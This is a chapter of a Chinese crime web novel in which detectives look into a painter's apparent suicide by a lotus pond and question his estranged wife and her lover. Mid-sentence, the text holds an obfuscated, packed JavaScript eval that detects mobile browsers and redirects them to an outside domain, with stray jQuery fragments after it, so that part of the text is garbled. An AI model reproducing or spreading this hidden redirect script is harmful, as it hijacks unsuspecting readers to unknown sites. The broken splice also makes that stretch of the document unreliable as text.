林知夏穿过郊外大片的草丛,来到一处盛开荷花的洼地,看到被害者正趴倒在荷花池旁,面朝下,手臂探出去。
再往前走两步,能看到手臂上流淌着大片的鲜血,一汪荷花池周遭的一角被染红。
现场看起来的确有几分骇人。
法医佟晓敏带了工具箱,屏退众人,进行勘验。
林知夏则往后退上二十步的位置,看到架起的画板。画板上那副荷花图已经完成,就和眼前场景一模一样。
画中背景便是这处荷花池,画家所绘制的人物也是自己,连衣服裤子、鞋子的样式都一模一样,死亡状态也是如此,大半边身体趴倒在岸上,小半边探出去,划过手腕的大动脉,鲜血汩汩而出,染红池塘的一角……
还真是画出了自己死亡时的状态!
几名警员都不免震惊。
闫子豪带人在现场泥土地上提取脚印。
这处周遭荷花池风景秀丽,倒是适合写生,但因为位置偏远,很少有人会专程前往,只有附近村子里的村民偶尔会来这里散步。
不过因为这会林城天气变化快,刚刚下了一阵小雨的缘故,脚印不是很清晰。闫子豪还是带人把这些有些模糊的脚印全部提取。
半小时后,法医佟晓敏勘验完现场,收拾工具箱,走上前,对冯智临说明情况:“致命伤口就在左腕的大动脉,应该是用小刀或刀片划伤,之后可能将刀具直接投入湖中,所以找不到凶器,只能从湖中打捞。”
“是他杀吗?”
“目前的情况,自杀或他杀都有可能。被害者自己割破手腕,躺倒在这儿,任凭血流不止导致身亡,这个姿势也能构成。尤其是他左腕的伤口,大动脉被整个划破,出血量很多,有一个喷出的过程。如果是自杀,只能说明此人一心求死,半点求生的意志都没有,对自己非常狠厉。当然,如果是他杀的话,这地方人迹罕至,也可能有人事先将他控制住,然后割破他的动脉。口鼻或胃里有没有被人迷晕后的药物,我也需要回到法医室,用仪器再做检验才行。”
冯智临明白。
此刻,刘美飒却上前去看,刚才她就觉得被害人格外眼熟,现在终于将他认了出来:“不对,他不可能自杀,这个是画家卢文蕴啊!下周就有他的画展,这个人视画如命,不可能在画展前夕自尽身亡!而且,这幅莲花背景图,根本不是他的绘画风格。卢文蕴只有早期画作中才会出现人物,近十年都只画风景,尤其爱各种莲花,在这个类别里,他是顶级的。拍卖最高的一幅画,只有手掌那般大小,那副《紫色并蒂莲》,拍出2000多万的高价!”
林知夏在旁边不由感叹,没想到刘美飒挺懂画作,这话她没说出来,目光却流露出对她的欣赏。
闫子豪看得出来,在旁边补充道:“一切展览、歌剧、演唱会……刘美飒都喜欢,跟她接触多了,你就明白,她是这方面的专家!”
林知夏点头。
冯智临觉得这起案子有蹊跷,命人将画作带回,检验笔迹,拿走之前在上面提取指纹,看看有没有除被害者之外的指纹。
勘察完现场,没有打斗拖拽的痕迹,不过,现场存在的任何烟头、塑料片、矿泉水瓶等物件都被带回,做进一步检验。
回到重案组,众警员很快就查出了被害人卢文蕴的信息。
果然,一周后、一个半月后,乃至更远些的12月之后,被害者卢文蕴都有正在筹办中的画展。
其中,12月份要远去澳大利亚开拓他的国际市场。
林知夏找来最新关于他的报道:“沙展,你看,卢文蕴的爱莲图系列已经出到第13幅,采访中他对记者说,希望他的第13幅爱莲图能在海外大放异彩。海外画展筹办的相关人士说,之前他在海外办过画展,都是小规模的,这一次是澳大利亚一场业界知名画展,卢文蕴受邀前往,画作将被挂在主厅。他称有一些名流人士也试图向他购买画作,出价不菲,他在考虑当中。”
从登报的情况来看,卢文蕴有自己追逐的目标,自杀的动机看起来倒没有那么强烈。
另一名女警也查询到了信息,告诉冯智临:“被害人卢文蕴这几天往返于不同国度,一年大概1/3在欧洲,1/3时间在香江,剩余的时间自由支配,会去不同的地方玩一玩,简直非常闲散自在。卖画的话,售价越来越高,地位也越来越稳固,好像没有遇到什么重大挫折。”
闫子豪从法医佟晓敏处出来,说道:“脚印已经交给法医佟晓敏了,不过,需要明天才能和相应的鞋类品牌和款式对应上,到时候我们才能派人去查找,穿过那些鞋子来往郊区荷花池畔的路人都是谁。画作鉴定、指纹和迷药鉴定也需要时间,今天肯定是出不来了。”
冯智临点点头。
“对了,卢文蕴家庭住址我找到了,他有个老婆,长相貌美,自从嫁给他之后就不工作了,在家烘焙、插花,现在孩子大了,就更自由了,据说孩子是在国外念大学,今年暑假回来了。”
“走吧,既然有家庭住址,就去他家看看。”冯智临说。
林知夏也跟随一起。
被害者卢文蕴家住别墅,别墅在城南,距离他被杀的荷花池一南一北,距离很远。
那处别墅区环境优美,大门处有喷水大狮子,吐出来的水挺有门口的人工造湖,再回流到别墅中。
别墅中水系非常丰富,沿途走进去,就能看到各种花色的鱼类在水汽中游动,从溪流汇入大湖。
小区中央还有一个露天游泳池,有几个住户穿着泳衣,带着游泳圈在其中游泳,有几个孩子也在水里翻腾,水花四溅。
看起来,这别墅区环境的确很好,尤其是户外设施,别具一格。
冯智临已经到了,上楼之后“咚咚”敲门。
然而,听见里面又窸窸窣窣的声音,却没人开门,只是慢两分钟的功夫,冯智临立刻意识到里面情况不对,连忙抽出一小队:“下楼,绕到后窗的位置,防止嫌疑人逃跑!”
另一支小队连忙领命跑开了。
“家里有人,为什么不开?”冯智临扬声道。
与此同时,包抄到后窗的警员刚到位就看到,5楼的窗户吱嘎一声打开了,从中探出一只脚,紧接着就是一个赤裸的上身,是个打赤膊的男性,踩着窗台的边缘,正朝着管道往下爬。
楼下的警员阿杰大吼一声:“什么人?为什么要爬窗?”
那男人听见动静回头一看,吓得自己魂儿都快飞了,怎么底下还站了这么多人!
难道是卢文蕴派人来的,专门就是为了捉他?
男人再往下一看,好高的楼啊,真是太害怕了!于是,他没敢再往下,而是顺着打开的窗户又翻了进去。
家里一个身穿吊带睡衣裸、露出胸前春光的女人,大约40岁,但风情万种,保养得看起来比实际年纪还要再小十岁。
她本打算男人走后再开门,谁知对方又不走了,气得一巴掌打过去,男人的脸颊留下几道手指的红印:“让你逃,怎么不逃,你就这点出息,才五层楼,能摔死吗?”
“底下有人呢,咱们被包围了!他们跟敲门的人应该是一伙儿的!”
“你说什么?”
女人瞪大了双眼,紧张的手指攥成白色。
卢文蕴早有了别的女人,对她不管不顾的,今天是怎么了?
这么想着,门外冯智临的声音更大了些:“再不开门,就踹了!”
女人这才套了件外套,遮掩住胸口,紧张的心跳如擂鼓,但只能走上前开了门。
此时,身后刚才那正欲逃窜的男人已经穿上了上衣,看起来没有那般狼狈了。
衣服穿上就像把尊严也捡了回来。
看得出年纪挺年轻,肌肉结实,不过长相却是小白脸,倒有几分清秀帅气,碎发垂在额头一些,显得干净利落。
冯智临直接亮出警官证:“我是西九龙重案组的,有事上门询问,你们两个刚刚在里面做什么?为什么不开门?”
“警官?”
那女人向后倒退几步,用手撑住了旁边装酒饮的柜子,不可思议道:“他、他让警察过来做什么?卢文蕴是要诬陷于我离婚分财产!警官,你一定要相信我,小卫来这只是为了跟我洽谈接下来的策展合作,没有发生卢文蕴想象中的事……”
旁边的男人用手臂顶了一下女人的胳膊:“警官是重案组的,恐怕跟咱俩的事儿没关系。”
那女人紧张过头,这会儿才意识到什么,松了口气,随即又睁大了眼睛:“对呀,重案组!天哪,命案吗!”
冯智临走进房间,林知夏跟上。
虽然沙展没有说话,但林知夏已经察觉到了那股扑面袭来的压迫感,让眼前一男一女都显得有些局促。
冯智临直截了当:“你老公卢文蕴被发现死在郊外写生时,说说吧,你们两个今天凌晨4-6点前后在做什么?”
女人名叫白亦若,她愣了一下,说:“我……我是在家等他,哪也没去。别墅区有监控,我可以证明我说的话没错。”
卫途安却垂下头,支吾了半天,有意逃避。
林知夏在旁边提醒他:“你没有目击证人,也没有监控作证,那么,你有杀人嫌疑?”
这激将法直接让卫途安抬头反驳:“我昨天晚上去了KTV。”
此话一出,旁边白亦若就皱了眉:“你去那里做什么?我不是让你在家好好呆着吗?你昨晚回家时,才跟我说要回家睡觉,又去那里跟什么人私会?”
警员们领悟到他哪里是不敢说,分明是怕白亦若追究。
卫途安为了洗脱嫌疑,也没了办法,顶着那双炽热、像要把他洞穿的来自情人的恼怒目光,也得为自己澄清:“我有不在场证明,昨天一直玩到凌晨3点多,我们男男女女一起喝酒唱歌。当然,后半夜,我就回自己家睡觉了。警官,你说尸体死亡时间是凌晨两点到4点,我离开KTV到郊外的时间也不够啊,卢文蕴出事跟我没半点关系!”
冯智临疑惑:“你们两个的事,卢文蕴知道吗?”
卫途安和白亦若沉默了片刻后,白亦若说:“我猜他知道。在卫途安之前,我也有别人,我们两个早就各过各的,彼此不干涉。只有绘画界聚会或者晚会的时候,我还作为卢文蕴老婆出场,人前恩爱,维护他的形象,私下里嘛,早就看彼此不顺眼了。”
“为什么会走到今天这一步?”
“那还不是卢文蕴先找了小姐,被我发现。在那之后我觉得,辛苦争取来的婚姻,不过就是这么回事。我把他当个宝,人家拿我呢,根本不当回事。想开以后,日子精彩多了,我也换种花样没停过,苦谁都不能苦自己不是?”
林知夏思索,果真如此的话,白亦若和卫途安对卢文蕴的杀人动机并不强烈。
这种开放式婚姻恐怕已经存在了很久。
她观察着,在这个家,甚至没有看到多少有关卢文蕴的生活痕迹。
门前鞋柜里只有一双可供替换的拖鞋,卧室衣柜卢文蕴的衣服被叠出了褶皱,可是一直没有拿起来过,应该是很久都没有穿了。其他常穿的衣服,恐怕已经被带离了这座房子,婚姻名存实亡。
刚刚两人怕被捉奸的惊慌,倒是真实存在的,是怕那层彼此都心知肚明的窗户纸被捅破,成为对方离婚时的筹码。
警方在房间里搜索一阵,没有找到什么有价值的线索。
不过,关于被害人最近情绪状况,必须询问,如此可以排除究竟是否是自杀。
于是临走时,冯智临问白亦若:“你老公自杀的可能性有多大?”
白亦若突然笑了:“自杀?他才不会。卢文蕴这个人自私自利,感情上一窍不通。我本来以为能捂热他的心,可是他把我,甚至后来和他相好的年轻女性,都只当成带给自己灵感的来源。得不到灵感,就换下一个。卢文蕴所有的心思都在他那些画上,画上画啊,那简直没日没夜,睡眠颠倒,累到住院都不在乎,简直是个画痴!”
那副死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280243|182522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亡现场的画作在笔迹鉴定中,没能拿过来,但冯智临提前拍好速出照片,拿在手里询问:“这画作是你老公的风格吗?”
白亦若盯着看了半天:“就是他画的。卢文蕴画画有个特点,颜色配比比较怪异,这也是他的风格。你看所有的成色当中都带了细小的杂色,勾勒的时候和后期铺色都有这个讲究,他想突出就是乱中有序的层次,他这种风格还没有人能模仿的来。不过,警官你是说,他死亡时的状态和画的一模一样?”
“没错。”
“可他的画作如今并不画人,而且从没画过自己。”
“那么,这个人物会不会后加上去的?”
“看起来不像,但……我也说不好。我对他画人物的线条比较陌生了,太久没见过。”
林知夏问卫途安:“你还有什么要补充的吗?”
卫途安想了想说:“我也是半个同行,虽然我不是画家,但我举办策展,见过画展中的画太多了。其实画家的画通常是他心理状况的体现,尤其对成熟度很高、已经形成自己风格的画家来说。如果画作方式突然改变,比如从只画景物变为画人,一定是受了什么外界的影响。而且这个刺激源可能还不小。”
离开别墅区后,冯智临带着林知夏一行回到重案组。
已经到了晚上时分,大家还都没吃饭,冯智临提议:“这么晚了,我请大家吃一顿吧!上个案子结束,中间只隔了一个周末,就又有新案情了,可上回的庆功宴还没有呢。说说吧,你们想吃什么?最近附近开了三家新店,海鲜面、潮汕火锅、烤串,想吃什么?”
“吃火锅,火锅热闹!”
“是啊,吃点火锅,喝点啤酒,别提有多爽快了。”
“你不开车吗,怎么要喝酒?”
“嗨,我车坏了,在维修呢,待会你们谁有车送我一程啊,我就不用挤公交了。”
众人一块去吃了火锅,那家潮汕火锅店门脸挺小,招牌是印刷体非常简单几个大字,外墙有些掉皮,还没来得及粉刷,看上去普普通通。
不过才开业不到一周时间就已经有了回头客。
店里这个时间,客人居然满了。
冯智临意识到什么问:“诶,咱们的大法医呢,她没来?”
林知夏回答说:“晓敏姐说手头的事比较多,她还得跑一趟鉴定中心,今晚赶不上庆功宴了。”
冯智临点耸肩:“好,改天再单独给她捎个点心。”
新鲜的牛肉被一盘盘端上来,新片好的牛肉在锅里烫上几秒钟捞出来就鲜嫩极了。
林知夏夹起一块牛肉,一口下去,牛肉油脂加上丰富的肉质纤维,美味在口腔炸开,香味四溢,尤其这一口沾上潮汕秘制调料,好吃到不得了!
闫子豪竖起大拇指:“果然好吃,怪不得人多呢。这下好了,咱们警署楼附近又多了一个能聚餐的地方!”
众人说说笑笑,期间还点了些饮料,林知夏要常温的,她在穿来之后,除了柳阿萝给她那一次冰饮之外,剩余时间她都要常温。
因此,竟然恰好避开了原主的刺激来源。
常温不伤胃,喝起来踏实。
林知夏喝下几口橙汁,听见闫子豪开口对旁边的警员说:“听说你家附近要建一个农贸市场?”
“是啊,以前买菜可不方便,要跑一公里外,这下好了,就在我们家那,规模还特大。你要闲的时候可以过来采购啊,还有一个进口生鲜区呢!”
“我哪有钱买那些进口生鲜哟,你真是太高看我。”
几个人议论着,火锅吃的差不多了,各自准备打道回府。
林知夏也打算坐公交车回去,现在晚上9点,还有车。
冯智临开口:“我送你。”
“不用了,沙展。这个点儿公交车上人也少,我有位置坐。”
冯智临为她打开车子副驾驶的门,邀请林知夏上车,“走吧,送完你,我再回家。”
林知夏只好坐上车,车里,两人一时无话。
林知夏目光扫视向窗外,看着向后飞驰而过的街景。
“今天这起案子你怎么看?觉得是自杀还是他杀?”冯智临忽然开口。
林知夏刚才吃饭时也在考虑这个问题:“死者没有外伤,没有被人压制捆绑等的痕迹,那只有看他体内有没有什么致昏迷的药物,否则被人杀死不会一点挣扎都没有。只是,迷药这部分,晓敏姐明天才能给到结果,我只能暂时猜测,即便被害者真是自杀,也应该是被人教唆的自杀。”
“你为什么觉得自杀是被教唆的?”
“唔,我也说不好,大概是一种直觉吧!”
冯智临点点头。
很快,林知夏家就到了,她下车和冯智临道别。
9号花园小区前,有人卖散装的香蕉,看上去外表虽然散落,不过胜在便宜。
林知夏买了三根,提着袋子上楼。
等回到楼上,她在沙发上休息会儿,随手打开电视,看到的竟然就是画家卢文蕴被杀的消息。
林知夏眉头深深拧起,他杀?凶器都还没打捞出来呢,媒体定性的消息还真快啊,重案组结果都没出来,他们真是胡乱报道!
她看到了新闻报道里,今天被封锁的现场拉的横幅之外,就有几家媒体在那里举着话筒。
果然,这桩案子因为被害者卢文蕴在绘画界颇有名气的缘故,少不了会有媒体介入。
不过这样一来,恐怕会对案情舆论产生不利影响。
林知夏感觉到有些困了,随手关掉电视,回了房间。
夜间有风,她打开窗户,让微微的凉风吹拂进来。
第二天一早,林知夏蹬着脚踏车前往重案组办公楼,可是刚到办公楼下,就看到远远围过来的各电视台报纸记者。
糟了,她所想象的场景再次出现!
看到林知夏停住脚踏车,记者们像是抓到了救命稻草,蜂拥一般向林知夏扑了过来,把话筒都要怼到她嘴巴上了。